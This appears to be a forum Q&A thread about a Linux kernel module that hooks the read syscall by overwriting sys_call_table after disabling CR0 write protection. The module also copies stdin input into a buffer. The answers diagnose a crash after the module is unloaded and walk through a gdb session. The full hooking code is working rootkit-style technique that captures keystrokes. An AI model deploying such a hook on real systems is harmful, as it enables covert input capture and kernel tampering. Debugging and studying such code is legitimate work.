lkm func hijacking BUG

Question

I've written a little linux kernel module, to see, how nowadays implement kernel function hijacking.

https://pastebin.com/99YJFnaq

#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/init.h>
#include <linux/slab.h>
#include <linux/string.h>
#include <linux/syscalls.h>
#include <linux/version.h>
#include <linux/unistd.h>

#include <linux/time.h>
#include <linux/preempt.h>

#include <asm/uaccess.h>
#include <asm/paravirt.h>
#include <asm-generic/bug.h>
#include <asm/segment.h>

#define BUFFER_SIZE 512

#define MODULE_NAME "hacked_read"

#define dbg( format, arg... )  do { if ( debug ) pr_info( MODULE_NAME ": %s: " format , __FUNCTION__ , ## arg ); } while ( 0 )
#define err( format, arg... )  pr_err(  MODULE_NAME ": " format, ## arg )
#define info( format, arg... ) pr_info( MODULE_NAME ": " format, ## arg )
#define warn( format, arg... ) pr_warn( MODULE_NAME ": " format, ## arg )

MODULE_DESCRIPTION( MODULE_NAME );
MODULE_VERSION( "0.1" );
MODULE_LICENSE( "GPL" );
MODULE_AUTHOR( "module author <[e-mail]>" );

static char debug_buffer[ BUFFER_SIZE ];
unsigned long ( *original_read ) ( unsigned int, char *, size_t );
void **sct;
unsigned long icounter = 0;

static inline void rw_enable( void ) {
    asm volatile ( "cli \n"
        "pushq %rax \n"
        "movq %cr0, %rax \n"
        "andq $0xfffffffffffeffff, %rax \n"
        "movq %rax, %cr0 \n"
        "popq %rax " );
}

static inline uint64_t getcr0(void) {
    register uint64_t ret = 0;
    asm volatile (
        "movq %%cr0, %0\n"
        :"=r"(ret)
    );
    return ret;
}

static inline void rw_disable( register uint64_t val ) {
    asm volatile(
        "movq %0, %%cr0\n"
        "sti "
        :
        :"r"(val)
    );
}

static void* find_sym( const char *sym ) {
    static unsigned long faddr = 0; // static !!!
    // ----------- nested functions are a GCC extension ---------
    int symb_fn( void* data, const char* sym, struct module* mod, unsigned long addr ) {
        if( 0 == strcmp( (char*)data, sym ) ) {
            faddr = addr;
            return 1;
        } else return 0;
    };// --------------------------------------------------------
    kallsyms_on_each_symbol( symb_fn, (void*)sym );
    return (void*)faddr;
}

unsigned long hacked_read_test( unsigned int fd, char *buf, size_t count ) {
    unsigned long r = 1;
    if ( fd != 0 ) { // fd == 0 --> stdin (sh, sshd)
        return original_read( fd, buf, count );
    } else {
        icounter++;
        if ( icounter % 1000 == 0 ) {
            info( "test2 icounter = %ld\n", icounter );
            info( "strlen( debug_buffer ) = %ld\n", strlen( debug_buffer ) );
        }
        r = original_read( fd, buf, count );
        strncat( debug_buffer, buf, 1 );
        if ( strlen( debug_buffer ) > BUFFER_SIZE - 100 )
            debug_buffer[0] = '\0';
        return r;
    }
}

int hacked_read_init( void ) {
    register uint64_t cr0;
    info( "Module was loaded\n" );
    sct = find_sym( "sys_call_table" );
    original_read = (void *)sct[ __NR_read ];
    cr0 = getcr0();
    rw_enable();
    sct[ __NR_read ] = hacked_read_test;
    rw_disable( cr0 );
    return 0;
}

void hacked_read_exit( void ) {
    register uint64_t cr0;
    info( "Module was unloaded\n" );
    cr0 = getcr0();
    rw_enable();
    sct[ __NR_read ] = original_read;
    rw_disable( cr0 );
}

module_init( hacked_read_init );
module_exit( hacked_read_exit );

Makefile:

CURRENT = $(shell uname -r)
KDIR = /lib/modules/$(CURRENT)/build
PWD = $(shell pwd)

TARGET = hacked_read
obj-m := $(TARGET).o

default:
        $(MAKE) -C $(KDIR) M=$(PWD) modules

clean:
        @rm -f *.o .*.cmd .*.flags *.mod.c *.order
        @rm -f .*.*.cmd *.symvers *~ *.*~ TODO.*
        @rm -fR .tmp*
        @rm -rf .tmp_versions

Thereafter, I'm making the module and inserting it. Of-course, the better way is to do it - inside qemu machine. I'm using default Kali 2018.1 installed on image hdd.qcow2 [30Gb]. Kernel 4.14.13 is a default kernel built by me with DEBUG flags:

# diff /boot/config-4.14.13 /boot/config-4.14.0-kali3-amd64
3c3
< # Linux/x86_64 4.14.13 Kernel Configuration
---
> # Linux/x86 4.14.12 Kernel Configuration
7620c7620
< CONFIG_GDB_SCRIPTS=y
---
> # CONFIG_GDB_SCRIPTS is not set
7652,7655c7652
< CONFIG_DEBUG_KMEMLEAK=y
< CONFIG_DEBUG_KMEMLEAK_EARLY_LOG_SIZE=400
< CONFIG_DEBUG_KMEMLEAK_TEST=m
< # CONFIG_DEBUG_KMEMLEAK_DEFAULT_OFF is not set
---
> # CONFIG_DEBUG_KMEMLEAK is not set

CONFIG_DEBUG_KMEMLEAK - is useless on amd64, so there is only CONFIG_GDB_SCRIPTS plays a role.

Back to the game:

# make
# cp hacked_read.ko /lib/modules/4.14.13/hacked_read.ko
# depmod
# modprobe hacked_read

Thereafter, I'm typing different symbols, mostly a and left arrow and delete, as you can see from syslog: icounter = 44000, so it is 44k symbols was typed by me, before bug appears, sometimes more, sometimes less... To get this number faster I'm using /usr/bin/xset r rate 20 60,

or even insert false in if/else statement like this if ( fd != 0 && false ) { // fd == 0 --> stdin (sh, sshd) - this will automate the process.

The Bug

/var/log/syslog/

Aug 30 10:20:37 kali kernel: [ 1540.483650] hacked_read: test2 icounter = 44000
Aug 30 10:20:37 kali kernel: [ 1540.483654] hacked_read: strlen( debug_buffer ) = 202
Aug 30 10:20:42 kali kernel: [ 1546.187954] hacked_read: test2 icounter = 45000
Aug 30 10:20:42 kali kernel: [ 1546.187958] hacked_read: strlen( debug_buffer ) = 376
Aug 30 10:20:58 kali kernel: [ 1561.366421] BUG: unable to handle kernel paging request at ffffffffc071909b
Aug 30 10:20:58 kali kernel: [ 1561.366434] IP: 0xffffffffc071909b
Aug 30 10:20:58 kali kernel: [ 1561.366436] PGD b3a0e067 P4D b3a0e067 PUD b3a10067 PMD 2346c4067 PTE 0
Aug 30 10:20:58 kali kernel: [ 1561.366441] Oops: 0010 [#1] SMP PTI
Aug 30 10:20:58 kali kernel: [ 1561.366443] Modules linked in: hacked_read(O) 9p fscache fuse ppdev bochs_drm sg ttm 9pnet_virtio evdev joydev drm_kms_helper pcspkr serio_raw 9pnet drm parport_pc parport button binfmt_misc ip_tables x_tables autofs4 ext4 crc16 mbcache jbd2 crc32c_generic fscrypto ecb sr_mod cdrom sd_mod ata_generic crct10dif_pclmul crc32_pclmul crc32c_intel ghash_clmulni_intel pcbc ata_piix libata scsi_mod aesni_intel aes_x86_64 crypto_simd glue_helper cryptd psmouse floppy virtio_pci virtio_ring virtio e1000 i2c_piix4 [last unloaded: hacked_read]
Aug 30 10:20:58 kali kernel: [ 1561.366488] CPU: 0 PID: 1788 Comm: tee Tainted: G           O    4.14.13 #1
Aug 30 10:20:58 kali kernel: [ 1561.366490] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.10.2-1 04/01/2014
Aug 30 10:20:58 kali kernel: [ 1561.366491] task: ffff9939ac178000 task.stack: ffffb2570359c000
Aug 30 10:20:58 kali kernel: [ 1561.366493] RIP: 0010:0xffffffffc071909b
Aug 30 10:20:58 kali kernel: [ 1561.366494] RSP: 0018:ffffb2570359ff38 EFLAGS: 00010292
Aug 30 10:20:58 kali kernel: [ 1561.366496] RAX: 000000000000005e RBX: 00007ffe554f8940 RCX: 0000000000000000
Aug 30 10:20:58 kali kernel: [ 1561.366497] RDX: 0000000000000000 RSI: ffff9939a0af7c10 RDI: ffff9939c0a20bb8
Aug 30 10:20:58 kali kernel: [ 1561.366498] RBP: 0000000000002000 R08: 0000000000000000 R09: 0000000000000000
Aug 30 10:20:58 kali kernel: [ 1561.366499] R10: 000000000000005e R11: 00000000000003f1 R12: ffffffffc071b360
Aug 30 10:20:58 kali kernel: [ 1561.366501] R13: 000055ae361bb4a0 R14: 0000000000000010 R15: 00007ffe554faa98
Aug 30 10:20:58 kali kernel: [ 1561.366502] FS:  00007f60491184c0(0000) GS:ffff9939ffc00000(0000) knlGS:0000000000000000
Aug 30 10:20:58 kali kernel: [ 1561.366504] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
Aug 30 10:20:58 kali kernel: [ 1561.366505] CR2: ffffffffc071909b CR3: 00000001d9018005 CR4: 00000000000606f0
Aug 30 10:20:58 kali kernel: [ 1561.366514] Call Trace:
Aug 30 10:20:58 kali kernel: [ 1561.366524]  ? system_call_fast_compare_end+0xc/0x6f
Aug 30 10:20:58 kali kernel: [ 1561.366526] Code:  Bad RIP value.
Aug 30 10:20:58 kali kernel: [ 1561.366532] RIP: 0xffffffffc071909b RSP: ffffb2570359ff38
Aug 30 10:20:58 kali kernel: [ 1561.366532] CR2: ffffffffc071909b
Aug 30 10:20:58 kali kernel: [ 1561.366535] ---[ end trace ca74de96d373ac0b ]---

Could somebody, please, tell me which way to dig?

There is no overflows inside debug_buffer array - it is completely true.

There is no conflicts in asm code, while hijacking is carried out.

It is tiny, light script... Where is the BUG?

Update1:

Looks like I've found a reason why it starts crashing. The BUG appears right after command rmmod hacked_read. So module_exit() is wrong, probably asm's cli & sti not enough.

Answer 1

As the module is removed from the Linux kernel, all memory used by the module (data and code) is released. The exit() function of the module restores the pointer to the original function. However, the kernel may be executing the code of the substitute function at the time the module is removed. Suddenly, right in the middle of that the function disappears as the memory taken by the module's code is released. Hence the bug.

Obviously you can't remove the module after you restore the pointer to the original function until you're sure that there are no kernel threads that (may) execute the code of the substitute function. After the pointer is restored, all new kernel threads will execute the original function, so you need to wait until any current threads finish the execution of the substitute function. How to do that is another issue. You may need to employ some tricks like reference counters, etc.

Answer 2

As @Aleksey mentioned, the issue was outside of the module.

The tee command used read() in its sleeping manner. While I've removed module nothing happened, but there was my little bash script:

#!/bin/bash

logfile="micro-test.log"
while sleep 0;do
        echo -n "$(date): $(uptime): "
        echo "1 2" | awk '{print $1}'
        sleep 60;
done | tee -a $logfile

How I've found the piece of BUG:

As I said, my guest's kernel was compiled with CONFIG_GDB_SCRIPTS=y. Now I'm attaching guest from the host's gdb:

# gdb
(gdb) set logging file gdbcmd2.out
(gdb) set logging on
Copying output to gdbcmd2.out.
(gdb) 
Already logging to gdbcmd2.out.
(gdb) target remote :1234
Remote debugging using :1234
warning: No executable has been specified and target does not support
determining executable automatically.  Try using the "file" command.
0xffffffff99082e42 in ?? ()
(gdb) add-auto-load-safe-path /usr/src/linux-source-4.14/scripts/gdb/vmlinux-gdb.py
(gdb) file /usr/src/linux-source-4.14/vmlinux
A program is being debugged already.
Are you sure you want to change the file? (y or n) y
Reading symbols from /usr/src/linux-source-4.14/vmlinux...done

On the guest side, I'm extracting addresses:

root@kali:~# cat /sys/module/hacked_read/sections/.text
0xffffffffc06e9000
root@kali:~# cat /sys/module/hacked_read/sections/.bss
0xffffffffc06eb34

On the host side, adding module to debugging:

(gdb) add-symbol-file /usr/src/hacked_read/hacked_read.ko 0xffffffffc06e9000 -s .bss 0xffffffffc06eb34
(gdb) p hacked_read_test 
$1 = {unsigned long (unsigned int, char *, size_t)} 0xffffffffc06e9030 <hacked_read_test>
(gdb) maintenance info line-table
... BIG-BIG-OUT-PUT ...

Thereafter, I can see in logfile: gdbcmd2.out - listing of my code with addresses. For example, 0xffffffffc06e9030 - the address of hacked_read_test function:

# grep 0xffffffffc06e9030  gdbcmd2.out  
$1 = {unsigned long (unsigned int, char *, size_t)} 0xffffffffc06e9030 <hacked_read_test>
6          77 0xffffffffc06e9030

77 - line of code

$ head -n 77 hacked_read.c | tail -n 1
unsigned long hacked_read_test( unsigned int fd, char *buf, size_t count ) {

Bingo!

Now, on the guest side, I'm doing rmmod hacked_read. After 60+- seconds appears BUG:

Sep  9 06:35:28 kali kernel: [281996.592759] hacked_read: Module was unloaded
Sep  9 06:36:11 kali kernel: [282040.218523] BUG: unable to handle kernel paging request at ffffffffc06e909b
Sep  9 06:36:11 kali kernel: [282040.218530] IP: 0xffffffffc06e909b
Sep  9 06:36:11 kali kernel: [282040.218531] PGD 22980e067 P4D 22980e067 PUD 229810067 PMD 2356e3067 PTE 0
Sep  9 06:36:11 kali kernel: [282040.218534] Oops: 0010 [#9] SMP PTI
Sep  9 06:36:11 kali kernel: [282040.218536] Modules linked in: sctp_diag sctp libcrc32c tcp_diag udp_diag dccp_diag dccp inet_diag unix_diag 9p fscache fuse bochs_drm ttm ppdev drm_kms_helper joydev evdev serio_raw pcspkr sg 9pnet_virtio 9pnet parport_pc parport button drm binfmt_misc ip_tables x_tables autofs4 ext4 crc16 mbcache jbd2 crc32c_generic fscrypto ecb sr_mod cdrom sd_mod ata_generic crct10dif_pclmul crc32_pclmul crc32c_intel ghash_clmulni_intel pcbc aesni_intel aes_x86_64 crypto_simd glue_helper cryptd ata_piix psmouse floppy virtio_pci virtio_ring virtio e1000 i2c_piix4 libata scsi_mod [last unloaded: hacked_read]
Sep  9 06:36:11 kali kernel: [282040.218567] CPU: 0 PID: 32196 Comm: tee Tainted: G      D    O    4.14.13 #1

Comm: tee & BUG: unable to handle kernel paging request at ffffffffc06e909b

Host:

# grep ffffffffc06e909b   gdbcmd2.out  
18         88 0xffffffffc06e909b

88 - line of code:

$ head -n 88 hacked_read.c | tail -n 1
                strncat( debug_buffer, buf, 1 );

It is easy to see, that kernel unable to give tee the address of the next line after original_read():

77:unsigned long hacked_read_test( unsigned int fd, char *buf, size_t count ) {
78.        unsigned long r = 1;
79.        if ( fd != 0 ) { // fd == 0 --> stdin (sh, sshd)
80.                return original_read( fd, buf, count );
81.        } else {
82.                icounter++;
83.                if ( icounter % 1000 == 0 ) {
84.                        info( "test2 icounter = %ld\n", icounter );
85.                        info( "strlen( debug_buffer ) = %ld\n", strlen( debug_buffer ) );
86.                }
87.                r = original_read( fd, buf, count );
88.                strncat( debug_buffer, buf, 1 );
                if ( strlen( debug_buffer ) > BUFFER_SIZE - 100 )
                        debug_buffer[0] = '\0';
                return r;
        }
}